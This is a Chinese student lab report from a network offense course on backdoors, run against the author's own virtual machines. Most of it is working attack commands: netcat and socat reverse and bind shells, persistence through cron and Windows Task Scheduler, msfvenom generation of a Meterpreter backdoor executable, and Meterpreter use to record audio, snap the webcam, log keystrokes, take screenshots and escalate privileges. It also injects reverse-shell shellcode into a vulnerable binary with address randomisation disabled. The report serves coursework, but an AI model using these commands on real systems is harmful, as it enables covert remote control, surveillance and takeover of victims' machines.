(1)任务一:使用netcat获取主机操作Shell,cron启动
(2)任务二:使用socat获取主机操作Shell, 任务计划启动
(3)任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
例举你能想到的一个后门进入到你系统中的可能方式?
例举你知道的后门如何启动起来(win及linux)的方式?
Meterpreter有哪些给你映像深刻的功能?
如何发现自己有系统有没有被安装后门?
-p使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e使用的编码器,用于对shellcode变形,为了免杀。-i编码器的迭代次数。如上即使用该编码器编码5次。-bbadchar是payload中需要去除的字符。LHOST是反弹回连的IPLPORT是回连的端口-f生成文件的类型>输出到哪个文件socat [options] <address> <address>,其中两个address是必选项,而options是可选项。Windows:使用ipconfig指令查看本机IP:192.168.136.129

使用ncat.exe程序监听本机的5316端口
ncat.exe -l -p 5316
Kali:使用nc指令的-e选项反向连接Windows主机的5316端口:
ncat 192.168.136.129 5316 -e /bin/sh
Windows下成功运行Kali的shell,运行ls指令如下:

在Kali环境中使用ifconfig查看IP:192.168.136.128

Kali使用nc指令监听5316端口:nc -l -p 5316
Windows:使用ncat.exe程序的-e选项项反向连接Kali主机的5316端口:ncat.exe -e cmd.exe 192.168.136.128 5316
Kali下可以看到Windows的命令提示,可以输入Windows命令

ncat.exe -l 5316nc 192.168.136.129 5316
Windows下监听5230端口,把收到的数据保存到file1.out中:ncat.exe -l 5316 > file1.out
Kali下先创建file1.in文件,再反弹连接到Windows的5230端口:nc 192.168.136.129 5316 < file1.in

传输成功

先在Windows系统下,监听5316端口:
在Kali环境下,用crontab -e指令编辑一条定时任务
crontab指令增加一条定时任务-e表示编辑在最后一行添加15 * * * * /bin/netcat 192.168.136.129 5316 -e /bin/sh意思是,每个小时的第15分钟反向连接Windows主机的5316端口

当时间到了15分时,此时已经获得了Kali的shell,可以输入指令ncat.exe -l -p 5316

Win+R输入compmgmt.msc打开“计算机管理”
在“任务计划程序”中“创建任务”
填写任务名称,并新建一个触发器

在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5205 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5316,同时把cmd.exe的stderr重定向到stdout上

创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

在kali输入指令socat - tcp:192.168.136.129:5316,连接到Windows主机的5316端口,此时可以获得Windows的shell

在Kali上执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 -f exe > 20175316_backdoor.exe
20175316_backdoor.exe通过ncat.exe -lv 5316 > 20175316_backdoor.exe指令将被控制主机进入接受文件模式
在Linux中执行nc 192.168.136.129 5316 < 20175316_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP
传送接收文件成功

在Kali上使用msfconsole指令进入msf控制台

输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.136.128,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5316,同样要使用相同的端口
设置完成后,执行监听exploit
运行Windows下的后门程序20175316_backdoor.exe
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

使用record_mic指令可以截获一段音频

使用webcam_snap指令可以使用摄像头进行拍照


使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

使用screenshot指令可以进行截屏
先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:

以下为捕获的音频、图片等
从Exploit Database Shellcodes网站中搜索linux/x86 - Reverse下载了反弹连接的shellcode
之后像实验一一样做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e ‘print "A" x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input_shellcode
打开一个终端使用(cat input_shellcode;cat) | ./pwn1_20175316注入这段攻击buf
再开另外一个终端,用gdb来调试pwn1_20175316这个进程。输入ps -ef | grep pwn1_20175316找到pwn1的进程号

之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址


0xffffd36c存放的数据是db31c031,那么shellcode地址就是0xffffd370
修改并生成input文件
perl -e ‘print "A" x 32;print"\x70\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"‘ > input
打开msf控制台依次输入

use exploit/multi/handler,用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1,设置IP为回环地址
set LPORT 4444,根据代码设置端口
exploit ,设置完成开始监听
(cat input;cat) | ./pwn1_20175316将input输入,通过管道符“|”,作为pwn1的输入。
问题:获取主机摄像头权限失败

原因:未将摄像头连接到虚拟机上
解决方法:虚拟机右键 > 可移动设备 > 将摄像头连接到虚拟机上

2019-2020-2 20175316盛茂淞《网络对抗技术》Exp2 后门原理与实践
原文:https://www.cnblogs.com/sms369/p/12543561.html